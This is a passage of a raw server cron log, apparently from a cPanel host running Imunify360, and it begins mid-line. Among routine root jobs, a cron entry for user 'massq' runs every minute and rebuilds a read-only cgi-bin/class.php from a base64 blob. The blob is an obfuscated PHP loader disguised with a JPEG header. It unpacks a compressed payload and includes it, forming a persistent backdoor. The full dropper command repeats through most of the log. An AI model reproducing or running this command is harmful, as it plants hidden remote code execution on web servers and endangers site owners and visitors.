QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:08:01 server CROND[19360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:08:01 server CROND[19361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:08:01 server CROND[19362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:09:01 server CROND[19757]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 09:09:01 server CROND[19758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:09:01 server CROND[19759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:09:01 server CROND[19760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:10:01 server CROND[20154]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:10:01 server CROND[20156]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:10:01 server CROND[20162]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 09:10:01 server CROND[20159]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:10:01 server CROND[20164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:10:01 server CROND[20160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:10:01 server CROND[20163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:10:01 server CROND[20161]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:11:01 server CROND[21025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:11:01 server CROND[21026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:11:01 server CROND[21027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:12:01 server CROND[21426]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 09:12:01 server CROND[21427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:12:01 server CROND[21429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:12:01 server CROND[21430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:13:01 server CROND[21903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:13:01 server CROND[21904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:13:01 server CROND[21905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:14:01 server CROND[22298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:14:01 server CROND[22299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:14:01 server CROND[22300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:15:01 server CROND[22687]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:15:01 server CROND[22688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:15:01 server CROND[22691]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 09:15:01 server CROND[22696]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:15:01 server CROND[22697]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 09:15:01 server CROND[22698]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:15:01 server CROND[22700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:15:01 server CROND[22695]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 09:16:01 server CROND[23692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:16:01 server CROND[23693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:16:01 server CROND[23695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:17:01 server CROND[24187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:17:01 server CROND[24188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:17:01 server CROND[24189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:18:01 server CROND[24613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:18:01 server CROND[24614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:18:01 server CROND[24615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:19:02 server CROND[25027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:19:02 server CROND[25028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:19:02 server CROND[25029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 09:20:01 server CROND[25482]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
